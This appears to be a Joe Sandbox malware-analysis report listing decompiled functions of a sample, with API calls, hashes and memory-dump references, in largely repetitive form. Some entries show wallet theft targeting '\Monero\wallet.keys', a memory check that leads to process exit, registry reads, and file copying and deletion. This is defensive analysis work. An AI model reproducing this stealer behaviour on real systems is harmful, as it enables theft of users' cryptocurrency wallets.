Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: dc63c0e37c905a9a1242f1a47119529da8264cca6ef2df2a5a68b53499393dd3
Instruction ID: 925faf0a7f17a51dd7498f27c5bce20b580d4af7066849018f7a510d54ff68e1
Opcode Fuzzy Hash: dc63c0e37c905a9a1242f1a47119529da8264cca6ef2df2a5a68b53499393dd3
Instruction Fuzzy Hash: 9031E971904218AAEB08F7E8DC56AAE7778FF14300F504529F112E65D2EF74A946C7A3

Function 008799C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008799EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00879A11
LocalAlloc.KERNEL32(00000040,?), ref: 00879A31
ReadFile.KERNEL32(000000FF,?,00000000,0087148F,00000000), ref: 00879A5A
LocalFree.KERNEL32(0087148F), ref: 00879A90
CloseHandle.KERNEL32(000000FF), ref: 00879A9A

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: af2af28c208d4fff65c3d7ddd3acd3aea4f84a6e0dfe8ec96c5637a6ce18ab74
Instruction ID: 1f35943300f8912ff33954eb37cb5be1b6229dd148b69352aaf05321c71e74d9
Opcode Fuzzy Hash: af2af28c208d4fff65c3d7ddd3acd3aea4f84a6e0dfe8ec96c5637a6ce18ab74
Instruction Fuzzy Hash: 8D312BB4A00209EFDB14CFA4C885BAEB7B5FF58350F108158E905E7294D778E941CFA1

Function 00871220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0087123E
__aulldiv.LIBCMT ref: 00871258
__aulldiv.LIBCMT ref: 00871266
ExitProcess.KERNEL32 ref: 00871294

Strings

@, xrefs: 00871233

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: a7dd6992392f3180204e89abeb0abb50ab4389c12dbe6d24f11458f21520b714
Instruction ID: f2127b2f03cee1c07d210fdaf77e47c3d59eb869007ac9acc238403e74875a9b
Opcode Fuzzy Hash: a7dd6992392f3180204e89abeb0abb50ab4389c12dbe6d24f11458f21520b714
Instruction Fuzzy Hash: F2014BB0954308FAEF10EBE8CC49B9EBB78FB14705F208148E709F62C5D7749941879A

Function 008840B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,010FD658,00000000,00020119,?), ref: 008840F4
RegQueryValueExA.ADVAPI32(?,010FE678,00000000,00000000,00000000,000000FF), ref: 00884118
RegCloseKey.ADVAPI32(?), ref: 00884122
lstrcat.KERNEL32(?,00000000), ref: 00884147
lstrcat.KERNEL32(?,010FE5E8), ref: 0088415B

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: d61f1c9fbd0ec14e8c515592afe199ee917069ad8bdb3788fc090ac130e677bd
Instruction ID: bd714630d5b8d71ae41040828945c0c77b262d2c4e7c165397e5a54b9d3fd5e9
Opcode Fuzzy Hash: d61f1c9fbd0ec14e8c515592afe199ee917069ad8bdb3788fc090ac130e677bd
Instruction Fuzzy Hash: 54419AB69001086BDB14FBE4DC46FFD733DF758300F408658B61996192EA759B898B93

Function 6CAAC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CAAC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CAAC969
GetSystemInfo.KERNEL32(?), ref: 6CAAC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CAAC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CAAC9E2

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 0d6db9c64bf321e40e2c23a69c1325a00cb40cbfe59e7d6cc4c980c4c7b1381a
Instruction ID: b0c59072573bd2d418f88402817f4939ae795ba42655e63583c23f898d353d39
Opcode Fuzzy Hash: 0d6db9c64bf321e40e2c23a69c1325a00cb40cbfe59e7d6cc4c980c4c7b1381a
Instruction Fuzzy Hash: AD2129727412186BEB04AAE8CC85BAE73BDAB46708F50011EF907A7F40DB319C84C795

Function 00887E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00887E37
RtlAllocateHeap.NTDLL(00000000), ref: 00887E3E
RegOpenKeyExA.KERNEL32(80000002,010EBCE8,00000000,00020119,?), ref: 00887E5E
RegQueryValueExA.KERNEL32(?,010FD518,00000000,00000000,000000FF,000000FF), ref: 00887E7F
RegCloseKey.ADVAPI32(?), ref: 00887E92

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 802ad2ff5ca2a09ffdb3aa952c16924b6d83c7d81f6635766b75d34b10a0b69f
Instruction ID: ba64d9d7ffdbcfc07e0a5585df50893307d23fad622cc179f5c41bea4601a687
Opcode Fuzzy Hash: 802ad2ff5ca2a09ffdb3aa952c16924b6d83c7d81f6635766b75d34b10a0b69f
Instruction Fuzzy Hash: E8118CB2A44209EBD710DFD4DC49FBBBBB8FB04B10F204259F605E7291D77458018BA1

Function 008712A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008712B4
RtlAllocateHeap.NTDLL(00000000), ref: 008712BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 008712D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008712F5
RegCloseKey.ADVAPI32(?), ref: 008712FF

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: e9a779b8818c34731184ae0906908bc695d19e4c5dcb2b65eb3d1e08afc15e1d
Instruction ID: 65482d72b8fde94626695ab77c30450dd2d6456a1f04d41f7aba613daa01766e
Opcode Fuzzy Hash: e9a779b8818c34731184ae0906908bc695d19e4c5dcb2b65eb3d1e08afc15e1d
Instruction Fuzzy Hash: 310131B9A40208BFDB00DFE4DC49FAEB7BCEB58701F008259FA05D7291DA719A418F51

Function 0087A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(010F8B08,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0087A0BD
LoadLibraryA.KERNEL32(010E6018), ref: 0087A146

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A820: lstrlen.KERNEL32(00874F05,?,?,00874F05,00890DDE), ref: 0088A82B
Part of subcall function 0088A820: lstrcpy.KERNEL32(00890DDE,00000000), ref: 0088A885

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

SetEnvironmentVariableA.KERNEL32(010F8B08,00000000,00000000,?,008912D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00890AFE), ref: 0087A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0087A0B2, 0087A0C6, 0087A0DC

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 4e5a4361903a6fc5d93b25d2c5ee857843057655e0cc72598c1b0357f587b9b7
Instruction ID: 2d9dd567680b08d8bb8df457ed19c4f31fb7336a6618d332fe684fb2c2e6e709
Opcode Fuzzy Hash: 4e5a4361903a6fc5d93b25d2c5ee857843057655e0cc72598c1b0357f587b9b7
Instruction Fuzzy Hash: 494151B1911104AFDB08EFE8EC95AAD37B4F768301F144229E509D32B6DB359946CB63

Function 0087A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 00888B60: GetSystemTime.KERNEL32(00890E1A,010FD900,008905AE,?,?,008713F9,?,0000001A,00890E1A,00000000,?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 00888B86

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0087A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0087A3FF
lstrlen.KERNEL32(00000000), ref: 0087A6BC

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

DeleteFileA.KERNEL32(00000000), ref: 0087A743

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
